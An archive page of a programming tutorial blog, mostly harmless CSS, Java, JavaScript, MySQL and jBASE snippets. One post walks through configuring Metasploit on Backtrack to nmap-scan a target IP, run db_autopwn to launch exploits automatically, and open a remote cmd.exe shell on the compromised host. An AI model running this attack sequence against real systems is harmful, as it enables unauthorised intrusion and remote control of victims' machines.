Showing posts with label code samples. Show all posts
Showing posts with label code samples. Show all posts

Sunday, January 1, 2012

CSS Text Shadow Examples

CSS Text Shadow Examples
CSS Text Shadows can create a variety of different effects on a website, like create depth, dimension, contrast and many other just by using simple CSS code. The best thing about these effects is, it can be achieved with pure CSS, no image replacements and image heavy web designs. CSS3 finally eliminates the need for Photoshop when all you want to do is a simple shadow. The text-shadow property is used as follows.

text-shadow: <horizontal-offset> <vertical-offset> <blur-radius>* <color>*
  1. horizontal-offset: The horizontal offset of the shadow (in any valid CSS unit) relative to the text. A negative value places the shadow to the left of the text. 
  2. vertical-offset: The vertical offset of the shadow (in any valid CSS length unit) relative to the text. A negative value places the shadow to the top of the text. 
  3. blur-radius*: Optional value to set the strength of the blue (in any valid CSS length unit). Defaults to 0 if not specified. A large blur-radius value 
  4. color*: Optional value to set the color of the shadow. The value can be defined either at the start or very end of text-shadow. Defaults to the UI color if not specified. 
Note: Values with asterisks following them (*) denote they are optional.

Examples

text-shadow: 2px 2px 2px #33CC66;

CSS is Cool!


Double Shadow

CSS text-shadow property does not restrict you to with one shadow you can use as many shadows as you want. Syntax will be
text-shadow: shadow-one, shadow-two, shadow-three;
an example will be...
text-shadow: 4px 3px 0px #fff, 
9px 8px 0px rgba(0,0,0,0.15);

CSS is Cool!


text-shadow:0px 3px 0px #33CC66,
0px 14px 10px rgba(0,0,0,0.15),
0px 24px 2px rgba(0,0,0,0.1),
0px 34px 30px rgba(0,0,0,0.1);

Tutorial Jinni



Continue Reading...

Friday, September 9, 2011

Dynamically Increase Array Size in JAVA

In JAVA when you define an array you must know in advance how much elements there would be, once defined you cannot grow or shrink that array. There comes a problem when you do not know the exact amount of data that would come, more data mean more space required  to handle this situation we have to dynamically increase the size of the array or use some other way to handle this situation.

In this tutorial we will see Two different ways to solve the said issue.

  1. Using Vector
  2. Using ArrayList

Vectors

Vector is special type of array that expands dynamically as objects are added to it
    private void IncreaseArrayLengthUsingVector(){
        Vector v=new Vector();
        System.out.println("Vector Size = "+v.size());

        // Adding items to Vector
        v.add("Item 1");
        v.add("Item 2");
        v.add("Item 3");
        v.add("Item 4");
        System.out.println("Vector Size = "+v.size());

        // Vector indexs are zero based
        System.out.println("Item At Index 2 = "+v.get(1));

        // Removing an Item
        v.remove(2);
        System.out.println("Vector Size = "+v.size());

        // Printing All Elements in Vector
        System.out.println("All elements in Vector = "+v);
    }

Array List

You can also use ArrayList which extends AbstractList class and Implements List interface, usage is almost similar as that of Vector.
    private void increaseArrayLengthUsingArrayList(){
        ArrayList al = new ArrayList(); 
        System.out.println("ArrayList Size = " + al.size());

        // Adding items to the ArrayList
        al.add("JAVA");
        al.add("PHP");
        al.add("C#");
        al.add("HTML");
        al.add("Javascript");
        al.add("CSS");

        System.out.println("ArrayList Size = " +al.size());

        // Remove item from the ArrayList
        al.remove(2);

        System.out.println("ArrayList Size = " + al.size());

        // Display the ArrayList
        System.out.println("All elements in ArrayList" + al);
    }
Continue Reading...

Wednesday, August 24, 2011

Reading Text File in JAVA

One of the most important feature of any programming language is that is should provide an extensive set of Input/Output methods that fit in different scenarios according to programmers need and they should also be simple and powerful as much as they can. JAVA, a powerful and wonderful language is no exception, it provide a rich set of Input/Output operation. In this tutorial we will look some of the ways to provided by JAVA to read a simple Text File. We present only three ways to read a simple text file,  there are other methods too to achieve the same goal. Now let the code talk ...

Reading using BufferedReader

    private void readFileUsingBufferedReader(String filename){
        try{

            FileReader fileReader = new FileReader(filename);
            BufferedReader bufferReader = new BufferedReader(fileReader);
            
            String fileContents=null;

            while((fileContents = bufferReader.readLine()) != null){

                // Print to console line by line
                System.out.println(fileContents);
            }
            bufferReader.close();
        }
        catch(Exception ex){
            System.out.println(ex);
        }
    }

Reading using Scanner

    private void readFileUsingScanner(String filename){
        try{
            File file = new File(filename);

            Scanner scanner = new Scanner(file);
            
            // Scanner split content of file
            // in tokens by default space
            // is the delimiter.

            scanner.useDelimiter(System.getProperty("line.separator"));
            
            // line seperator for windows is \n\r
            // and for linux is \n
            // to make is cross paltform we use System.getProperty method

            while (scanner.hasNext()) {

                // Print to console line by line

                System.out.println(scanner.next());
            }
            scanner.close();
        }
        catch(Exception ex){
            System.out.println(ex);
        }
    }

Reading using FileInputStream

    private void readfileUsingFileInputStream(String filename){
        try{

            FileInputStream fileInputStream = new FileInputStream(filename);
            int k;
            while((k=fileInputStream.read())!=-1){

                // input stream read data byte by byte
                // so we have to explicitly typecast
                // it into char to reval it corresponding
                // charater.

                System.out.print((char)k);
            }
            fileInputStream.close();
        }
        catch(Exception ex){
            System.out.println(ex);
        }
    }
A sample usage of all the above methods...
import java.io.BufferedReader;
import java.io.File;
import java.io.FileInputStream;
import java.io.FileReader;
import java.io.InputStream;
import java.util.Scanner;

/**
 *
 * @author Originative
 */
public class TextFileReader {

    public static void main(String [] nix){

        String TEXT_FILE_TO_BE_READ = "c:\\myTextFile.txt";
        TextFileReader textFileReader=new TextFileReader();

        System.out.println("\n=-=-=-=\n Reading File via BufferedReader \n=-=-=-=\n");
        textFileReader.readFileUsingBufferedReader(TEXT_FILE_TO_BE_READ);

        System.out.println("\n=-=-=-=\n Reading File via Scanner \n=-=-=-=\n");
        textFileReader.readFileUsingScanner(TEXT_FILE_TO_BE_READ);

        System.out.println("\n=-=-=-=\n Reading File via FileInputStream \n=-=-=-=\n");
        textFileReader.readfileUsingFileInputStream(TEXT_FILE_TO_BE_READ);
    }
   // paste all methods here :)
}

Sample Output

=-=-=-=
 Reading File via BufferedReader 
=-=-=-=

Somthing that is going to read by java

code by

Originative for www.tutorialjinni.com

=-=-=-=
 Reading File via Scanner 
=-=-=-=

Somthing that is going to read by java

code by

Originative for www.tutorialjinni.com

=-=-=-=
 Reading File via FileInputStream 
=-=-=-=

Somthing that is going to read by java

code by

Originative for www.tutorialjinni.com
Continue Reading...

Wednesday, July 20, 2011

Posting to Blogger Automatically

blogger api tutorial

In this post we will learn how to programmatically post to blogger, we use PHP for this but it can be done in any language which can send email. When we talk about programmatically, usually some complex programming scheme comes into mind but in this case there is no such thing, although one can use Blogger's PHP API or Blogger API for JAVA, but here we use simple mail to do this. First you need to configure your blogger account, open your blogger account and go to Setting -> Mobile and email as shown in figure below...

Posting to Blogger Automatically

in the Email section create an email which is your secret email address (do not share it with any one, mine show is figure is fake ;) ), this is used for creating blog post and set the option to your choice either you want it to publish immediately or save it as draft and then you approve it in future, in example i set publish immediately, after that click save settings and you blogger account is configured.

now create a simple PHP script that will send the mail and your post is automatically publish on blogger. A simple PHP code will be like this...
<?php

function sendPostToBlogger($postTitle,$postBody){

// our secret mail address we just created
$mailAddress="tutorialjinni.auto@blogger.com";

// using PHP mail function
mail($mailAddress,$postTitle,$postBody);

}
?>

and that is it... you can configure this is some sort of cron job or set it as a trigger in you code or as you wish :)

*Note You can pass HTML in $postBody too...
Continue Reading...

Monday, June 13, 2011

Javascript Array Unique Values

This tutorial will demonstrate how to find unique values in any given array and also how the elements return are in the same position as they were in the original subject array, i.e. only duplicates are removed, this is very important that the elements remain in their order but not shuffled, the code is fairly simple it takes an array from which we have to find unique values and make a new buffer array which holds all the unique values, once all the subject array is traverse buffer array will be returned back.
now let the code talk
function uniqueArray(subjectArray){
 k=subjectArray.length;
 if(k<=1){

  // if array length is 1 or 0
  // just return it, because it
  // is already unique

  return subjectArray;
 }
 buffer=new Array();
 c=0;
 for(var i=0;i<k;i++){
  if(!isRepeated(buffer,subjectArray[i])){
   buffer[c++]=subjectArray[i];
  }
 }
 return buffer;
}

// function to check is the subject element
// is present in buffer array or not

function isRepeated(bufferArray,checkValue){
 for(var i=0;i<bufferArray.length;i++){
   if(bufferArray[i]==checkValue){
    return true;
   }
  }
 return false;
}

Example

subjectArray=new Array();
 subjectArray[0]=1;
 subjectArray[1]=2;
 subjectArray[2]=1;
 subjectArray[3]=3;
 subjectArray[4]=1;
 subjectArray[5]="one";
 subjectArray[6]="two";
 subjectArray[7]="one";
 alert (uniqueArray(subjectArray));
Output:1,2,3,one,two
Continue Reading...

Thursday, May 26, 2011

JavaScript Array Copy

In this tutorial we learn to make a copy/clone of an array in javascript. The traditional approach is to make another array and putting values in it by simply iterating all the elements of the subject array, whose complexity is no doubt to O(n), however javascript provide a descent solution to this problem using a method slice, slice method not only just copy/clone the entire array but is able to return a part of array as well, and most of all it is supported by all major browser including IE :)

Method signature of the said method is ...
Array subjectArray.slice(startIndex, endIndex)
startIndex:Required. An integer that specifies where to start the selection (The first element has an index of 0). You can also use negative numbers to select from the end of an array.
endIndex:Optional. An integer that specifies where to end the selection. If omitted, slice() selects all elements from the start position and to the end of the array.

Example

<script type="text/javascript">

var languages = ["JAVA", "PHP", "PYTHON", "RUBY"];
document.write(languages.slice(0,1));
document.write(languages.slice(1));
document.write(languages.slice(-2));
document.write(languages.slice(0));

</script>
Output will be...
JAVA
PHP,PYTHON,RUBY
PYTHON,RUBY
JAVA,PHP,PYTHON,RUBY
Continue Reading...

Wednesday, May 18, 2011

Autopwn Metasploit Backtrack

backtrack metasploit tutorial
In this tutorial we will take a look how we can configure metasploit to launch an automated attack on a target system using a backtrack 5 machine, for this we will need just Backtrack 5 which is available freely for download from here. You can install backtrack 5 on VM-ware or by booting it via live CD or live USB or by installing it on you hard disk. Once you done installing it, a console will appear like this
root@root:~#
if you want to go to GUI mode type
root@root:~# startx
if you are in GUI mode open the console and start typing the following command as it is, line by line, and install software if prompted...
root@root:~# apt-get install postgresql
root@root:~# sudo apt-get install libpgsql-ruby
root@root:~# sudo su postgres
sh-4.1$ createuser jinni -P
could not change directory to "/root"
Enter password for new role:
Enter it again:
Shall the new role be a superuser? (y/n) n
Shall the new role be allowed to create databases? (y/n) n
Shall the new role be allowed to create more new roles? (y/n) n
sh-4.1$ createdb --owner=root metasploitdb
could not change directory to "/root"
exit
sh-4.1$ exit
exit
root@root:~# msfconsole
msf > db_driver postgresql
[*] Using database driver postgresql
msf > db_connect jinni:tutorial@127.0.0.1:5432/metasploitdb
db_workspace -a tutorialjinni
[*] Added workspace: MyProject
msf > db_nmap 192.168.2.11 -sS -O
[*] Nmap: Starting Nmap 5.51SVN ( http://nmap.org ) at 2011-05-18 18:27 PST
[*] Nmap: Nmap scan report for . . . 
// ...
// NMAP results will be displayed here ...
// ...
// after NMAP finishes 
// we are ready for launching exploits

msf > db_autopwn -p -e -q

[*] (30/300 [0 sessions]): Launching exploit/windows/dcerpc/ms03_026_dcom against 192.168.2.11:135

// exploits will launch when an exploit is successful
// it will show you open sessions like (30/300 [3 sessions]):
to list all open session use command
session -l
to select any session you the command
session -i 3 
// 3 is session number
if the target system is windows, as mine was window server 2000 get the command shell by issuing command
execute -f cmd.exe -i -H
hope this help... i tested it myself. Reference
Continue Reading...

Monday, May 16, 2011

JavaScript isNumeric Function

This tutorial demonstrate a function that will tell whether given input is integer or not, let just move straight to the code

<script language="javascript" type="text/javascript">

function isNumeric(CHECK_CHAR){
 return !isNaN(CHECK_CHAR);
}

</script>
a sample example will be something like this...
<script language="javascript" type="text/javascript">

alert(isNumeric("1130"));
//true
alert(isNumeric("-17"));
//true
alert(isNumeric("460G"));
//false
</script>

Continue Reading...

Tuesday, May 10, 2011

JavaScript EndsWith Example

javascript does not provide a native function to check whether a string ends with a specific string or not, to do this functionality we have to write a very simple function of our own. The concept of this function is fairly simple, we need two strings say one is haystack and other is needle and one boolean to check whether we want case-sensitive comparison on strings or not, our function would be like this,
function endsWith(haystack,needle,isCaseSensitive){
  if(isCaseSensitive){
   haystack=haystack.toUpperCase();
   needle=needle.toUpperCase();
  }
  return haystack.substr(-1*needle.length)==needle?true:false;
 }
Concept of function is fairly simple we first just get the substring of the haystack to the length of the needle(we multiply this length with -1 so that we get substring from the end of the haystack) and then check whether our substring returned is equal to our needle or not.

a sample use would be
// yeilds false
endsWith("tutorialjinni",'jInni',false)
Continue Reading...

MySQL Trim Function Example

In this tutorial we will have a look at the Trim function of MySQL. MySQL has a very strong library we must use it, usually we format input our data using some dynamic languages like PHP, but what if there is a scenario we have to use MySQL database for it.

let the code talk...

MySQL Trim Method Signature

// First Type
String TRIM([{BOTH | LEADING | TRAILING} [STRING_TO_BE_REMOVED] FROM] str)

// Second Type
String TRIM([STRING_TO_BE_REMOVED FROM] str)

Returns the string string with all STRING_TO_BE_REMOVED prefixes or suffixes removed. If none of the specifiers BOTH, LEADING, or TRAILING is given, BOTH is assumed. STRING_TO_BE_REMOVED is optional and, if not specified, spaces are removed.

lets understand it with examples.

Example

SELECT TRIM('  Tutorial   ') 
AS FormatedString;
Outputs: Tutorial
SELECT TRIM(LEADING 'jinni' FROM 'jinniTutorialjinni') 
AS FormatedString;
Outputs: Tutorialjinni
SELECT TRIM(BOTH 'jinni' FROM 'jinniTutorialjinni') 
AS FormatedString;
Outputs: Tutorial
SELECT TRIM(TRAILING 'jinni' FROM 'jinniTutorialjinni') 
AS FormatedString;
Outputs: jinniTutorial
Continue Reading...

Monday, May 9, 2011

JavaScript StartsWith Example

javascript tutorial
javascript does not provide a native function to check whether a string starts with a specific string or not, to do this functionality we have to write a very simple function of our own. The concept of this function is fairly simple, we need two strings say one is haystack and other is needle and one boolean to check whether we want case-sensitive comparison on strings or not, our function would be like this,
 function startsWith(haystack,needle,isCaseSensitive){
  
  if(isCaseSensitive){
   
   haystack=haystack.toUpperCase();
   needle=needle.toUpperCase();
   
  }
  
  return haystack.substr(0,needle.length)==needle?true:false;
 }
an example use of a the above function will be
startsWith("tutorialjinni",'tutorial',true);
// true

startsWith("tutorialjinni",'Tutorial',false);
// false

hope this function will be handy...
Continue Reading...

Friday, May 6, 2011

jBase Infobasic Command DEL

Use the DEL statement to remove a specified element of a dynamic array.

Command Syntax

DEL variable

Syntax Elements

The variable can be any previously assigned variable or matrix element. The expressions must evaluate to a numeric value or a runtime error will occur.
expression1 specifies the field in the array to operate upon and must be present.
expression2 specifies the multivalue within the field to operate upon and is an optional parameter.
expression3 is optionally present when expression2 has been included. It specifies which subvalue to delete within the specified multivalue.

Notes

Truncates non-integer values for any of the expressions to integers.

Ignores invalid numeric values for the expressions without warning.

The command operates within the scope specified, i.e. if specifying only a field then it deletes the entire field (including its multivalues and subvalues). If specifying a subvalue, then it deletes only the subvalue leaving its parent multivalue and field intact.

Examples

FOR I = 1 TO 20
Numbers<I> = I ;*//generate numbers
NEXT I
FOR I = 19 TO 1 STEP –2
DEL Numbers<I> ;*//remove odd numbers
NEXT I
Continue Reading...

Wednesday, May 4, 2011

JavaScript Trim Function Example

javascript trim function tutorial
In this tutorial we will learn how to remove white spaces from either sides of a string using javascript, usally all programming languages has built in function for trim but javascript don't have ... i am not getting in to any details... just give the code to do so... or in other words get the obvious stuff out of the way and let the code talk... the function mention below remove white space or any other char you specified.

Trim

removes white spaces from both side of the string
function trim(str, chars) {
 return ltrim(rtrim(str, chars), chars);
}

Right Trim

removes white spaces from right side of the string
function rtrim(str, chars) {
 chars = chars || "\\s";
 return str.replace(new RegExp("[" + chars + "]+$", "g"), "");
}

Left Trim

removes white spaces from left side of the string
function ltrim(str, chars) {
 chars = chars || "\\s";
 return str.replace(new RegExp("^[" + chars + "]+", "g"), "");
}

jQuery Trim

and last but not least jQuery if you it you have the power simply use the below mention function and you have a reason to smile :)
jQuery.trim(STRING_WITH_WHITE_SPACES);
Continue Reading...

Sunday, May 1, 2011

JavaScript Replace All

javascript tutorial
In this tiny tutorial we learn how we can see how we can replace all instances of a string in a String with a new string using javascript/The JavaScript function for string replace replaces the only first occurrence in the string. The function is similar to the PHP function str_replace and takes two simple parameters.The first parameter is the pattern to find and the second one is the string to replace the pattern with when found. The javascript function does not Replace All...

to replace all occurence of a string we use Regex's /g switch now our replace all function will be
function replaceAll(string, replace, otherString) {
  return string.replace(new RegExp(replace, 'g'),otherString);
}


Continue Reading...

Thursday, April 28, 2011

jBase Infobasic Command DEFFUN

jbase tutorial
Use the DEFFUN statement to declare an external jBASE BASIC function to the jBASE BASIC compiler and optionally define its arguments. Use DEFFUN in the program that calls the function.

Command Syntax

DEFFUN FuncName ({ {MAT} Argument1, {MAT} Argument2...})

Syntax Elements

FuncName is the name used to define the function. It must be the same as the source file name.
Argument specifies a value passed to the function by the calling program. To pass an array, the keyword you must use the MAT before the argument name. These parameters are optional (as indicated in the Command Syntax) but can be specified for clarity. Note that if the arguments are not initialized somewhere in the program you will receive a compiler warning.

Notes

The DEFFUN statement identifies a user-written function to the jBASE BASIC compiler, which must be present in each program that calls the function, before the function is called. A hidden argument is passed to the function so that a value can be returned to the calling program. The return value is set in the function using the RETURN (value) statement. If the RETURN statement specifies no value then the function returns an empty string.

Example 1

DEFFUN Add()
A = 10
B = 20
sum = Add(A, B)
PRINT sum
X = RND (42)
Y = RND(24
)
PRINT Add(X, Y)
FUNCTION Add(operand1, operand2)
result = operand1 + operand2
RETURN(result)
Call standard UNIX functions directly by declaring them with the DEFC statement according to their parameter requirements. However, they may only be called directly providing they return one of the type int or float/double or that the return type may be ignored.

Example 2

DEFC INT getpid()
CRT "Process id =":getpid()
Continue Reading...

MySQL Soundex Example

mysql tutorial
Soundex is a phonetic algorithm for indexing names by sound, as pronounced in English. The goal is for homophones to be encoded to the same representation so that they can be matched despite minor differences in spelling. The algorithm mainly encodes consonants; a vowel will not be encoded unless it is the first letter. Soundex is the most widely known of all phonetic algorithms, as it is a standard feature of MS SQL and Oracle, and is often used (incorrectly) as a synonym for "phonetic algorithm". Improvements to Soundex are the basis for many modern phonetic algorithms.

Soundexis a phonetic normalization function that was invented for the 1880 U.S. Censusto get around the problem of sorting information by last names with different spellings but similar or identical sounds, such as Smith and Smythe. Since then, it's become one of the more popular ways of searching for similar sounding names in genealogy and government applications.

In this tutorial we will use the MySQL SOUNDEX() function, it will very help for searching purpose i.e. if a user search for something and he/she spell wrong then we can use SOUNDEX() to understand the search term.

Method Signature for SOUNDEX

String SOUNDEX(String)

Example 1

SELECT SOUNDEX('tutorialjinni');
it will yeild T6425

comparing two words that sound same
SELECT STRCMP(SOUNDEX('sun'), SOUNDEX('son')) AS Result;
Output is 0 because both words sound same and for that reason there SOUNDEX() codes are same, for reference SOUNDEX code for both sun and son is S500

Limitations

  • This function, as currently implemented, is intended to work well with strings that are in the English language only. Strings in other languages may not produce reliable results.
  • This function is not guaranteed to provide consistent results with strings that use multi-byte character sets, including utf-8.
Continue Reading...

Wednesday, April 27, 2011

MySQL indexOf Function

mysql tutorial
In this tutorial we will learn how to find occurrence of a string in a string, to do this in MySQL database it provide us with a function INSTR(), it take two arguments first one is haystack or the string from which you wish to find the occurrence of other string, second string is the whom location we are interested in, Please note that the positioned returned will be the starting position of the needle.

Method Signature

int INSTR(haystack,needle);

Example 1

SELECT INSTR('foobarbar', 'bar');
Output : 4

Example 2

SELECT INSTR('xbar', 'foobar');
Output : 0


INSTR() is multi-byte safe, and is case sensitive only if at least one argument is a binary string.
Continue Reading...

Tuesday, April 26, 2011

jBase Infobasic Command DEFCE

With jBASE 4.1 the DEFCE statement should be used, rather than the DEFC statement, for calling external C programs, which are pure ‘C’ code and do not use the jBASE library macro’s and functions. The DEFCE statement assumes that the C functions will need to manipulate jBASE BASIC variables and hence will also require the thread data pointer. As such, all C functions require recoding to include the data pointer as an argument to the C function. The location of the data pointer argument depends upon the function return type.

Example

For C functions that do not require jBASE functions use the DEFCE statement, however the passing arguments can only be of type INT, FLOAT and STRING.
DEFCE INT MYFUNC3(INT)

INT32 MYFUNC3(INT32 Count)
{
INT32 Result;
….
return Result;
}

Example 2

#include 
#include 
#ifdef DPSTRUCT_DEF
#define JBASEDP DPSTRUCT *dp,
#else
#define JBASEDP
#endif

VAR *MyString(VAR *Result, JBASEDP VAR *VarPtr)
{
char *Ptr;
assert(dp != NULL);
Ptr = (char *) CONV_SFB(VarPtr);
printf("MyString: %s - %d\n", Ptr, strlen(Ptr) );
STORE_VBI(Result, strlen(Ptr) );
return(Result);
}
INT32 MyCalc(INT32 Value1, INT32 Value2)
{
INT32 Result;
Result = (Value1 / Value2);
printf("MyCalc: %d\n", Result);
return(Result);
}
Continue Reading...

Sunday, April 17, 2011

jBase Infobasic Function DEFC

Use the DEFC statement to declare an external C function to the jBASE BASIC compiler, define its arguments, and return types.

Command Syntax

DEFC {FuncType} FuncName ({ArgType {, ArgType ...}})

Syntax Elements

FuncType and ArgType are selected from one of INT, FLOAT or VAR. FuncType specifies the type of result that the function will return. Assumes INT if FuncType is omitted. The optional list of ArgTypes specifies the argument types that the C function will expect. The compiler must know this in advance, as it will automatically perform type conversions on these arguments.

Notes

Compile a DEFC for each C function before making any reference to it else the compiler will not recognize the function name.
The function is called in the same manner, as it would be in a C program, which means it can be used as if it was an intrinsic function of the jBASE BASIC language and therefore returns a value. However,specifying it as a standalone function call causes the compiler to generate code that ignores any returned values.
When passing jBASE BASIC variables to a C function, you must utilize the predefined macros to access the various data types it contains. C functions are particularly useful for increasing the performance of tight loops that perform specific functions. The jBASE BASIC compiler must cater for any eventuality within a loop (such as the controlling variable changing from integer to floating point). A dedicated C function can ignore such events, if they are guaranteed not to happen.
The jBASE BASIC programmer may freely ignore the type of argument used when invoking the C function, as the jBASE BASIC compiler will automatically perform type conversion.

Example 1

DEFC INT cfunc( INT, FLOAT, VAR)

Var1 = cfunc( A, 45, B)

cfunc( 34, C, J)

You can call standard UNIX functions directly by declaring them with the DEFC statement according to their parameter requirements. You can only call them directly providing they return one of the type int or float/double or that the return type may be ignored.

Example 2

DEFC INT getpid()
CRT "Process id =":getpid()
Continue Reading...

jBase Infobasic Command DEBUG

The DEBUG statement causes the executing program to enter the jBASE BASIC debugger.

Command Syntax

DEBUG

Example

IF FatalError = TRUE THEN
DEBUG ;*//enter the debugger
END
Continue Reading...
 

Blog Info

A Pakistani Website by Originative Systems

Total Pageviews

Tutorial Jinni Copyright © 2015 WoodMag is Modified by Originative Systems